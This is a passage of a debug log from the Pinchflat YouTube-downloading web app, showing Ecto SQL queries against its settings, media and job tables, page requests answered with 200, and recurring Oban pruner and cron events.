o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [109] 01:06:22.770 [debug] QUERY OK source="settings" db=0.1ms idle=249.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:22.770 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:22.771 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:22.772 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:06:22.775 [info] Sent 200 in 8ms 01:06:29.449 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:56.291 [info] GET /sources/1/media/212 01:06:56.291 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "212", "source_id" => "1"} Pipelines: [:browser] 01:06:56.292 [debug] QUERY OK source="media_items" db=0.0ms idle=1771.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 01:06:56.292 [debug] QUERY OK source="tasks" db=0.0ms idle=1771.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [212] 01:06:56.292 [debug] QUERY OK source="sources" db=0.1ms idle=1771.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:06:56.292 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1010.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [113] 01:06:56.292 [debug] QUERY OK source="settings" db=0.0ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:56.292 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:56.293 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:06:56.293 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:06:56.294 [info] Sent 200 in 2ms 01:06:59.451 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.142 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:29.453 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:59.455 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.143 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:29.457 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:59.459 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.144 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:06.671 [info] GET / 01:09:06.672 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:09:06.672 [debug] QUERY OK source="settings" db=0.2ms idle=1152.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:09:06.673 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1125.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:09:06.673 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=153.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:09:06.674 [debug] QUERY OK source="media_items" db=0.1ms idle=153.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:09:06.674 [debug] QUERY OK source="media_items" db=0.2ms idle=124.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:09:06.675 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:09:06.675 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:09:06.676 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:09:06.678 [debug] QUERY OK source="tasks" db=0.3ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:09:06.678 [debug] QUERY OK source="media_items" db=0.1ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:09:06.679 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:09:06.680 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 01:09:06.682 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:09:06.683 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:09:06.684 [info] Sent 200 in 12ms 01:09:29.461 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:59.463 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.145 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:29.465 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:59.467 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.146 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:29.469 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:59.471 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.147 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:29.474 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:59.476 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.148 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:29.478 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:59.480 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.149 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:29.482 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:59.484 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.150 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:29.486 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:59.488 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.151 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:29.490 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:59.492 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.152 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:29.494 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:59.496 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.153 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:29.498 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:59.500 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.154 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:29.502 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:59.504 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.155 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:29.506 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:59.508 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.156 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:29.510 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:59.511 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.157 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:29.513 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:59.515 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.158 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:29.517 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:59.519 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.159 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:29.521 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:59.523 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.160 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:29.525 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:59.527 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.161 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:25.673 [info] GET / 01:26:25.673 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:26:25.674 [debug] QUERY OK source="settings" db=0.5ms idle=1148.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:25.675 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1044.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:26:25.675 [debug] QUERY OK source="sources" db=0.0ms idle=150.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:26:25.675 [debug] QUERY OK source="media_items" db=0.2ms idle=150.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:25.676 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=43.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:25.677 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:25.677 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:25.678 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:26:25.680 [debug] QUERY OK source="tasks" db=0.3ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:26:25.681 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:26:25.682 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:26:25.682 [debug] QUERY OK source="sources" db=0.0ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 01:26:25.683 [debug] QUERY OK source="media_items" db=0.1ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:26:25.683 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:26:25.683 [info] Sent 200 in 10ms 01:26:29.530 [info] 